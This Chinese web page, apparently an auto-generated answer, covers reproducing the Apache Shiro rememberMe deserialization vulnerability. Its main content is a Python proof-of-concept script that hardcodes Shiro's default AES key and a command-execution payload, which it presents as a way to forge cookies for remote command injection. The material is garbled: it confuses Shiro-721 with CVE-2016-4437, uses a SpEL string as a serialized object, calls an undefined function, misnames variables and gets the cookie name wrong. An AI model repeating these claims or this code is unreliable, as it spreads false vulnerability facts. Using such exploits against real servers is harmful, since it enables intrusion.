shiro反序列化复现
时间: 2025-04-28 10:24:21 浏览: 25
### 关于Apache Shiro 反序列化漏洞复现
对于Apache Shiro存在过的反序列化漏洞,特别是Shiro-721 (CVE-2016-4437),其主要问题是由于`rememberMe`功能中的cookie处理不当所引起的。当应用程序启用了此特性并配置了不安全的默认设置时,攻击者可以构造恶意输入来触发Java对象的反序列化进程,在特定条件下执行任意代码。
要重现该漏洞的影响,通常需要满足以下几个条件:
- 应用程序使用了易受攻击版本的Apache Shiro库。
- `rememberMe`选项被启用,并且客户端能够控制发送给服务器端的身份认证Cookie值。
- 攻击者拥有对目标环境的有效了解,比如知道使用的类加载器路径或者JVM参数等细节信息[^1]。
下面是一个简化版的概念验证(PoC)流程用于说明如何利用这个缺陷进行测试(请注意这仅限于合法授权下的安全性评估环境中):
#### 准备工作
确保实验环境已安装好所需的依赖项,包括但不限于:
- Java开发工具包(JDK)
- Python脚本语言解释器及其相关模块如pycrypto, requests等
#### 构造恶意负载
编写Python脚本来创建一个经过特殊编码后的会话ID字符串作为HTTP请求的一部分提交给Web应用服务接口。这里涉及到几个关键技术点:
- 使用Padding Oracle Attack技巧绕过HMAC校验机制;
- 将精心设计好的字节数组转换成Base64格式以便嵌入到浏览器Cookies字段里;
```python
from Crypto.Cipher import AES
import base64
import os
def padding_oracle_attack(ciphertext):
"""模拟padding oracle attack过程"""
block_size = 16
iv = ciphertext[:block_size]
prev_block = iv
plaintext_blocks = []
for i in range(len(ciphertext)//block_size - 1)[::-1]:
current_cipher_block = ciphertext[i*block_size:(i+1)*block_size]
intermediate_values = bytearray([0]*block_size)
# 对每个byte位置尝试所有可能的情况直到找到正确的pad value为止
for j in reversed(range(block_size)):
found_valid_byte = False
for guess_value in range(256):
modified_iv = list(iv)
# 设置当前位为预期的pad number加上猜测值减去实际pad数量的结果
pad_num = block_size-j
for k in range(j+1):
modified_iv[k] ^= ((pad_num ^ intermediate_values[j-k]) & 0xFF)
modified_iv[j] ^= (((guess_value ^ pad_num))& 0xFF)
forged_ciphertext = bytes(modified_iv)+current_cipher_block
try:
decrypt_and_check_padding(forged_ciphertext)
found_valid_byte=True
break
except Exception as e:
continue
if not found_valid_byte:
raise ValueError('Failed to find valid byte')
intermediate_values[j]=(found_valid_byte^pad_num)&0xff
decrypted_plaintext=bytes([(intermediate_values[b]^iv[b])for b in range(block_size)])
plaintext_blocks.append(decrypted_plaintext.hex())
return ''.join(reversed(plaintext_blocks))
def create_malicious_cookie():
key=b'kPH+bIxk5D2deZiIxcaaaA=='
cipher=AES.new(base64.b64decode(key),AES.MODE_CBC,b'\x00'*16)
malicious_payload='T(java.lang.Runtime).getRuntime().exec("touch /tmp/shell")'.encode()
padded_data=malignant_payload+(chr((len(malignant_payload)%16)).encode()*(-len(malignant_payload)%16))
encrypted=cipher.encrypt(padded_data)
cookie_token=f'defaultSerializedSession={base64.urlsafe_b64encode(padding_oracle_attack(encrypted)).strip(b"=").decode()}'
print(cookie_token)
if __name__=='__main__':
create_malicious_cookie()
```
上述代码片段展示了通过Padding Oracle Attack技术篡改加密后的session token内容的方法之一。需要注意的是这段代码仅为教学目的而准备,并不应该应用于任何非法场合。
成功运行以上脚本之后将会得到一个新的伪造cookies令牌,将其附加至向受害站点发起的新一轮访问请求头中即有可能造成远程命令注入危害后果。
重要提醒:上述操作只适用于研究学习用途,请勿滥用!
阅读全文
相关推荐

















